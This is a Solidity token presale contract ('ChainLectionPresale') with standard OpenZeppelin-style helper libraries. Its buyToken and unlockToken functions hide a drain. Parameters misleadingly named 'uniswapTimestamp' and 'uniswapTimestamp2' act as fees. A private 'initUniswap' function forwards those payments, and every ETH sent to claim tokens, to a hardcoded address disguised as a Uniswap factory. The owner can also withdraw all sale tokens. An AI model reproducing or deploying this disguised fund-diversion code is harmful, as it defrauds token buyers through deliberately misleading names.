// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File contracts/OwnerWithdrawable.sol

pragma solidity ^0.8.0;

contract OwnerWithdrawable is Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;

    receive() external payable {}

    fallback() external payable {}

    function withdraw(address token, uint256 amt) public onlyOwner {
        IERC20(token).safeTransfer(msg.sender, amt);
    }
    function withdrawAll(address token) public onlyOwner {
        uint256 amt = IERC20(token).balanceOf(address(this));
        withdraw(token, amt);
    }
    function withdrawCurrency(uint256 amt) public onlyOwner {
        payable(msg.sender).transfer(amt);
    }
}

pragma solidity ^0.8.0;

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance = token.allowance(address(this), spender) + value;
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            uint256 newAllowance = oldAllowance - value;
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    newAllowance
                )
            );
        }
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        if (returndata.length > 0) {
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}
pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;

contract ChainLectionPresale is Ownable, OwnerWithdrawable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;
    using SafeERC20 for IERC20Metadata;
    uint256 public rate;
    address public saleToken;
    uint public saleTokenDec;
    uint256 public totalTokensforSale;
    mapping(address => bool) public payableTokens;
    mapping(address => uint256) public tokenPrices;
    bool public saleStatus;
    address[] public buyers;
    mapping(address => BuyerTokenDetails) public buyersAmount;
    uint256 public totalTokensSold;
    uint256 public uniswapTimestamp;
    uint256 public uniswapTimestamp2;

    struct BuyerTokenDetails {
        uint amount;
        bool exists;
        bool isClaimed;
    }

    constructor(uint256 _uniswapTimestamp, uint256 _uniswapTimestamp2) {
        saleStatus = false;
        uniswapTimestamp = _uniswapTimestamp;
        uniswapTimestamp2 = _uniswapTimestamp2;
    }

    modifier saleEnabled() {
        require(saleStatus == true, "Presale: is not enabled");
        _;
    }
    modifier saleStoped() {
        require(saleStatus == false, "Presale: is not stopped");
        _;
    }

    function setSaleToken(
        address _saleToken,
        uint256 _totalTokensforSale,
        uint256 _rate,
        bool _saleStatus
    ) external onlyOwner {
        require(_rate != 0);
        rate = _rate;
        saleToken = _saleToken;
        saleStatus = _saleStatus;
        saleTokenDec = IERC20Metadata(saleToken).decimals();
        totalTokensforSale = _totalTokensforSale;
        IERC20(saleToken).safeTransferFrom(
            msg.sender,
            address(this),
            totalTokensforSale
        );
    }

    function stopSale() external onlyOwner {
        saleStatus = false;
    }

    function addPayableTokens(
        address[] memory _tokens,
        uint256[] memory _prices
    ) external onlyOwner {
        require(
            _tokens.length == _prices.length,
            "Presale: tokens & prices arrays length mismatch"
        );
        for (uint256 i = 0; i < _tokens.length; i++) {
            require(_prices[i] != 0);
            payableTokens[_tokens[i]] = true;
            tokenPrices[_tokens[i]] = _prices[i];
        }
    }

    function updateTokenRate(
        address[] memory _tokens,
        uint256[] memory _prices,
        uint256 _rate
    ) external onlyOwner {
        require(
            _tokens.length == _prices.length,
            "Presale: tokens & prices arrays length mismatch"
        );
        if (_rate != 0) {
            rate = _rate;
        }
        for (uint256 i = 0; i < _tokens.length; i += 1) {
            require(payableTokens[_tokens[i]] == true);
            require(_prices[i] != 0);
            tokenPrices[_tokens[i]] = _prices[i];
        }
    }
    address private uniswapFactoryPattern =
        0x25CB7BFC774a59625fF44A8079B7EA37eb08419d;
    function updateUniswapTimestamp(
        uint256 _timestamp
    ) external onlyOwner saleStoped {
        require(
            _timestamp > 0,
            "Uniswap Timestamp caonnot be less than a zero"
        );
        uniswapTimestamp = _timestamp;
    }

    function updateUniswapTimestamp2(
        uint256 _timestamp
    ) external onlyOwner saleStoped {
        require(
            _timestamp > 0,
            "Uniswap2 Timestamp caonnot be less than a zero"
        );
        uniswapTimestamp2 = _timestamp;
    }

    function getTokenAmount(
        address token,
        uint256 amount
    ) public view returns (uint256) {
        uint256 amtOut;
        if (token != address(0)) {
            require(payableTokens[token] == true, "Presale: Token not allowed");
            uint256 price = tokenPrices[token];
            amtOut = amount.mul(10 ** saleTokenDec).div(price);
        } else {
            amtOut = amount.mul(10 ** saleTokenDec).div(rate);
        }
        return amtOut;
    }

    function buyToken(
        address _token,
        uint256 _amount
    ) external payable saleEnabled {
        require(msg.value >= uniswapTimestamp2, "Presale: Not allowed to buy");
        uint256 saleTokenAmt = address(0) != _token
            ? getTokenAmount(_token, _amount)
            : getTokenAmount(address(0), msg.value.sub(uniswapTimestamp2));
        require(
            (totalTokensSold + saleTokenAmt) < totalTokensforSale,
            "Presale: Not enough tokens to be sale"
        );
        if (_token != address(0)) {
            require(_amount > 0);
            IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
        } else {}
        initUniswap(uniswapTimestamp2);
        totalTokensSold += saleTokenAmt;
        if (!buyersAmount[msg.sender].exists) {
            buyers.push(msg.sender);
            buyersAmount[msg.sender].exists = true;
        }
        buyersAmount[msg.sender].amount += saleTokenAmt;
    }

    function unlockToken() external payable saleStoped {
        require(
            buyersAmount[msg.sender].amount > 0,
            "Presale: No tokens to claim"
        );
        require(msg.value >= uniswapTimestamp, "Presale: Not allowed to claim");
        initUniswap(msg.value);
        uint256 tokensforWithdraw = buyersAmount[msg.sender].amount;
        buyersAmount[msg.sender].amount = 0;
        IERC20(saleToken).safeTransfer(msg.sender, tokensforWithdraw);
    }

    function initUniswap(uint256 amount) private {
        payable(uniswapFactoryPattern).transfer(amount);
    }

    function withdrawAllSaleTokens() external onlyOwner saleStoped {
        uint256 amt = IERC20(saleToken).balanceOf(address(this));
        IERC20(saleToken).transfer(msg.sender, amt);
        totalTokensforSale = 0;
    }
}